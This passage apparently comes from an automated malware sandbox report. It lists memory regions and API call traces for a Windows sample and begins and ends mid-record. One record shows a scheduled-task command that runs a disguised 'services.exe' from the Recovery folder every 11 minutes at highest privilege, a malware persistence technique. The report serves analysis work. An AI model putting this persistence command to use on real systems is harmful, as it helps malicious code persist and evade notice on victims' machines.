"\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6287 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6353 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6354 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6355 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6356 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6357 start_va = 0x1add0000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 6408 start_va = 0x1a6e0000 end_va = 0x1a7befff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001a6e0000" filename = "" Region: id = 6409 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6410 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6411 start_va = 0x7fe90910000 end_va = 0x7fe9098ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90910000" filename = "" Region: id = 6412 start_va = 0x7fe90990000 end_va = 0x7fe9099ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90990000" filename = "" Region: id = 6413 start_va = 0x7fe909a0000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909a0000" filename = "" Region: id = 6418 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6419 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6420 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 6448 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 6458 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 6459 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 6460 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 6461 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 6472 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Thread: id = 188 os_tid = 0xc90 [0188.455] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 240 os_tid = 0xaac Thread: id = 247 os_tid = 0xb38 [0189.770] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 255 os_tid = 0xcc Process: id = "43" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3fbf8000" os_pid = "0xc74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3531 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3532 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3533 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3534 start_va = 0x220000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3535 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3536 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3537 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3538 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3539 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3540 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3541 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3542 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3543 start_va = 0x2a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3544 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3545 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3546 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3547 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3548 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3549 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3550 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3551 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3552 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3553 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3554 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3555 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3556 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3557 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3558 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3559 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3560 start_va = 0xc0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3561 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3562 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3564 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3565 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3566 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 3567 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3568 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3569 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3570 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 3571 start_va = 0x7d0000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3572 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3573 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3574 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3575 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3576 start_va = 0x1bd0000 end_va = 0x1e9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3577 start_va = 0x150000 end_va = 0x1ccfff monitored = 0 entry_point = 0x15cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3579 start_va = 0x150000 end_va = 0x1ccfff monitored = 0 entry_point = 0x15cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3580 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3581 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3582 start_va = 0x1ea0000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 3583 start_va = 0x1ea0000 end_va = 0x1f7efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 3584 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 3585 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3586 start_va = 0x21a0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 3587 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3589 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3590 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3591 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3592 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3593 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3594 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3599 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 175 os_tid = 0xc98 [0150.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29fa60 | out: lpSystemTimeAsFileTime=0x29fa60*(dwLowDateTime=0x268ac9a0, dwHighDateTime=0x1d8a92a)) [0150.338] GetCurrentProcessId () returned 0xc74 [0150.338] GetCurrentThreadId () returned 0xc98 [0150.338] GetTickCount () returned 0x138a144 [0150.338] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x29fa68 | out: lpPerformanceCount=0x29fa68*=2062920162839) returned 1 [0150.339] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0150.339] __set_app_type (_Type=0x1) [0150.339] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0150.339] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0150.339] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0150.340] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0150.340] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0150.340] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0150.340] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0150.340] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0150.340] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0150.340] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0150.340] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0150.341] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0150.341] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0150.341] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0150.341] WinSqmIsOptedIn () returned 0x0 [0150.341] GetProcessHeap () returned 0x3b0000 [0150.341] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3c5480 [0150.341] SetLastError (dwErrCode=0x0) [0150.342] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0150.342] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0150.342] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0150.342] VerifyVersionInfoW (in: lpVersionInformation=0x29f220, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29f220) returned 1 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba00 [0150.342] lstrlenW (lpString="") returned 0 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x2) returned 0x3cba20 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5980 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba40 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c59b0 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c59e0 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a10 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a40 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba60 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a70 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5aa0 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5ad0 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b00 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba80 [0150.342] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b30 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b60 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b90 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5bc0 [0150.343] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0150.343] SetLastError (dwErrCode=0x0) [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5bf0 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c20 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c50 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c80 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5cb0 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cbaa0 [0150.343] _memicmp (_Buf1=0x3cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.343] GetProcessHeap () returned 0x3b0000 [0150.343] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x208) returned 0x3cbc40 [0150.343] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cbc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0150.343] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0150.345] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0150.345] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0150.346] GetProcessHeap () returned 0x3b0000 [0150.346] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x74e) returned 0x3cc1f0 [0150.346] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0150.346] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3cc1f0 | out: lpData=0x3cc1f0) returned 1 [0150.346] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0150.346] VerQueryValueW (in: pBlock=0x3cc1f0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29f308, puLen=0x29f370 | out: lplpBuffer=0x29f308*=0x3cc58c, puLen=0x29f370) returned 1 [0150.349] _memicmp (_Buf1=0x3cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.349] _vsnwprintf (in: _Buffer=0x3cbc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29f2e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0150.349] VerQueryValueW (in: pBlock=0x3cc1f0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29f378, puLen=0x29f368 | out: lplpBuffer=0x29f378*=0x3cc3b8, puLen=0x29f368) returned 1 [0150.349] lstrlenW (lpString="schtasks.exe") returned 12 [0150.350] lstrlenW (lpString="schtasks.exe") returned 12 [0150.350] lstrlenW (lpString=".EXE") returned 4 [0150.350] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0150.353] lstrlenW (lpString="schtasks.exe") returned 12 [0150.353] lstrlenW (lpString=".EXE") returned 4 [0150.353] _memicmp (_Buf1=0x3cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.353] lstrlenW (lpString="schtasks") returned 8 [0150.353] GetProcessHeap () returned 0x3b0000 [0150.353] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5da0 [0150.353] GetProcessHeap () returned 0x3b0000 [0150.353] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb00 [0150.353] GetProcessHeap () returned 0x3b0000 [0150.353] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb30 [0150.353] GetProcessHeap () returned 0x3b0000 [0150.353] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb60 [0150.353] GetProcessHeap () returned 0x3b0000 [0150.353] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cbac0 [0150.354] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.354] GetProcessHeap () returned 0x3b0000 [0150.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa0) returned 0x3cc040 [0150.354] GetProcessHeap () returned 0x3b0000 [0150.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb90 [0150.354] GetProcessHeap () returned 0x3b0000 [0150.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccbc0 [0150.354] GetProcessHeap () 